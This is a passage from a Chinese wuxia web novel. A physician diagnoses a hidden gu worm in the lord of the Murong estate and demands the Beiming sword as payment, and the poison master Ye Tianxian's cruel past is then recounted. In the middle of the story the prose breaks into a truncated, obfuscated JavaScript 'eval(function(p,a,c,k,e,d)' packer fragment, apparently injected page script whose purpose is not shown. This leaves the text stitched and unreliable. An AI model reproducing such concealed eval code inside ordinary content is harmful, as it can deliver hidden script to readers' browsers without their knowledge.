眼前是慕容山庄的主宅,木制楼阁,古朴典雅。看着这栋宅子,林柏不知为何想起传闻中身患血蛊的慕容锐居住的偏院,也不知那人住的别院离这主宅有多远。 三人进入宅内,林柏立时闻到一股混着熏香和浓烈药味的古怪味道。 前方床头,烟熏缭绕中,一名美妇人坐着,似乎在暗自垂泪,而床上躺着一人,看不清面容。 想来床上躺着的就是患病昏迷的慕容光,而床头的美妇人便是他的结发妻子陈凝华了。 慕容泽走上前,微微颔首:“母亲,我找来了医师,想给父亲看一看。” 陈夫人转头,脸上没什么表情,抬起指尖抹去眼角泪痕,声音有些厉:“连李医师都看不好的病,难道你随便找个两个毛头小子就能看好么?” 慕容泽温声道:“母亲,我有考量,绝非怠慢,你就让我试一试吧。” “别喊我!”陈夫人情绪忽然激动起来,疾言厉色道,“考量?你的考量就是要把我们都算计走是不是!等慕容光走了,我也走了,这个家只剩你和慕容锐你是不是就开心了!” 慕容泽周身一僵,末了垂下眼眸道:“母亲,你知道我不是这么想的。” 这母子二人之间的相处还真够奇怪,林柏拧眉,感受到了一种古怪的不协调感。 陈夫人似乎自己也被方才那一番歇斯底里的怒喊吓到了,胸口剧烈起伏,神情仍然激动,她盯着慕容泽看了好一会儿,终于还是闭上眼,叹了一口气,离开床头让出了位置。 慕容泽目光投向符平雪示意他上前,符平雪不紧不慢踱步走了上前,掀起眼皮了床上人一眼,将手探上那人脉搏。 因着陈夫人让出了位置,林柏这时也看清了躺着的慕容光,面色惨白,颧骨高耸,眼窝深陷。尽管如此,病魔却仍未夺走他身为一庄之主的威严,这人就算闭着眼睛躺在那里也有一种不怒自威的感觉。 几个瞬息后,符平雪收回探脉的手,眼睛似乎变亮了,多了几分玩味:“慕容光这病症确实不是血蛊,而是真正的蛊虫在发作啊。” 慕容泽连着陈夫人都是瞳孔一缩. “你说我父亲体内有蛊虫?为何先前那些医师未能看出来?” “自然是他们废物。”符平雪不屑一顾道,“慕容光体内的是一只灵蛊。这种蛊虫源自西南部族,体质特殊,形同血肉,能够化入宿主的肺腑融为一体。本就难以察觉,难道还指望你找来的那一群废物能发现么?” 慕容泽脸色惊疑不定。谁也没能想到,慕容光不是生病,而是被下蛊了!悄无声息地潜入了慕容山庄,在丝毫没有被察觉的情况下给他种下了蛊虫! 而这蛊虫,在慕容光的身体里整整潜伏了三年! 符平雪似乎饶有兴味,“他如今身体所有不适的征兆,都是下蛊之人催动蛊虫的反应。有意思吧,慕容山庄的庄主居然就这样被人牢牢控制在手心,像把玩木偶一样玩。” 慕容泽面沉如水:“你有办法将这蛊虫从我父亲体内催动出来么?” “自然是有的,不过——”符平雪眯着眼笑了,“我从始至终都没有说过要答应你的条件吧。” 他继续道:“你似乎有些没搞清楚状况,我来帮你理一理。现在你既要救你父亲的命,也要救那边那姑娘的命,你有什么资格跟我谈条件?” “你说的不错,现下我的确行动受限,不便大张旗鼓地在你们山庄动手。可我难道就不能假他人之手么?” “慕容光病重在床,慕容锐毫无武功,而你,不过是个初出茅庐的武功废物,我只消将慕容光被下蛊虫这一消息放出去,心怀鬼胎蠢蠢欲动的人不就会源源不断地赶往慕容山庄么?” 符平雪笑容越来越深,而慕容泽的脸色也越来越难看。 “介时我只需作壁上观,坐收渔翁之利即可。”符平雪叹了口气,“慕容泽,你实在太天真,还没摸清情况就将慕容山庄的一切都交代在了我面前。你该庆幸我没有耐心实行上面那个法子。” 慕容泽咬牙问道:“你要抑制血蛊的药是么,我可以给你。” “晚了。”符平雪森然一笑,“你跟我提条件,我自然要再加一个条件方能对等不是么。” “现在你不仅要交出药,还要将悲鸣剑也一并交给我!” “你这小儿口气好大!”是陈夫人开口了,她这一冷脸,倒不复先前柔弱的模样,颇有几分当家人的威严。 “口气大?”符平雪笑容不变,“陈夫人,你要知道,现在是你们在求我办事,不是我哭着喊着要救这个人。” “另外,你们还要明白,不是每个人都对你们所谓的至尊宝剑感兴趣。也不是每个人都发狂地想将悲鸣剑占为己有。悲鸣剑,我只要借用一天。” 听他言语中有贬损悲鸣剑的意思,陈夫人怒极,柳眉倒竖:“莫说是借用一天,你就算是想摸一瞬也是痴心妄想!” “母亲——” “别喊我!难道你要让悲鸣剑被这不知底细的小子抢走么?你从哪儿带来的人立马给我扔回去!” 慕容泽惨然一笑:“母亲,难道就任由蛊虫留在父亲身体里吗?” “什么蛊虫?我看都是胡说八道!就算是蛊虫,难道除了这小子就没人能催走它了吗?我就不信非得付出悲鸣剑才能救回他的命!一定还有其他的办法……” 陈夫人抿着嘴,自我催眠一般念叨着,谁都能听出她声音里那一份不安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林柏摇头,转而问道:“你真的打算将悲鸣剑交给符平雪吗?” “这不是我一个人能决定的。”慕容泽在她身旁坐下,垂下眼眸,浓密而细长的睫毛遮住了眸中情绪,“但我无论如何都会想办法救父亲。” 林柏犹豫了一下,问道:“你知道符平雪是什么人吗?” 慕容泽似乎对符平雪了解不少,甚至知道他师从何人,对符平雪这个无门无派却位列排行榜第一的人,林柏有诸多好奇,想要探寻一番。 慕容泽微微沉吟,道:“实际上,今日我与他不过是第二次见面。对他,我知道的不多。” “我第一次见他,是在武林新星大会第一轮选拔,他舞剑时我不经意间瞥见他左手手腕内侧有一个很小的红莲刺青,便知他是叶天弦的徒弟了。” 林柏疑惑道:“叶天弦是什么人?你为何从一个刺青便知他二人是师徒关系?” “你不知也正常。”慕容泽靠在亭栏上,回忆着道,“这人在江湖上本来也不出名,他稍有声名的那段时间我们年岁尚小,而今他又已经死了很多年。” 林柏偏头听他说: “叶天弦其人,性情古怪,精通医药毒术。这之中,他尤为痴迷制毒。他行事邪性,没有正邪善恶之分,一生以制出冠绝江湖的毒药为追求。为此,他做出过不少丧心病狂的事。” “最为人所知的,是他收徒试毒的事。”说到这,慕容泽微微拧眉,眼底是毫不掩饰的厌恶,继续道: “他浪荡于江湖多年,期间陆陆续续收了十几个孩童为徒,而这些人无一例外,左手手腕内侧都有一个红莲刺青。” “有人说那刺青是叶天弦观察毒物威力的指标,他将毒药喂给刻有刺青的徒弟,并不给他们解药,而后从他们手中红莲刺青的色泽变化判断毒侵入肺腑的程度,以此不断改进毒物。徒弟对他来说,是名副其实的耗材。” “虽然如此,他也不吝将医毒之术传授给徒弟,有不少人为了学他医术拜他为师,而后逃走。传闻无双药谷的谷主,便是从叶天弦手中逃走的徒弟。” 慕容泽轻叹一声:“现在看来,逃脱成功的不只他一个。” 这便是在说符平雪了。 就连无双药谷能够医死人肉白骨的谷主都是叶天弦的徒弟,同样是叶天弦徒弟的符平雪,医毒之术恐怕确实少有人能及。 难怪他会坚持找符平雪给慕容光驱除蛊虫。 林柏又问:“叶天弦是怎么死的?” “积仇太多,最后被仇人追杀砍死在一处破庙了。”慕容泽仰头看天,不以为意道,“传闻他死的前一秒,还在惦记着刚炼出来的毒药是什么效果。呵,真是可笑。” 慕容泽偏头看向林柏:“我不知符平雪与他究竟有什么纠葛,但从他手中走出来的人,难保心性不受他影响。” “符平雪不会是什么良善之辈,你切记莫要和他产生过多牵扯。”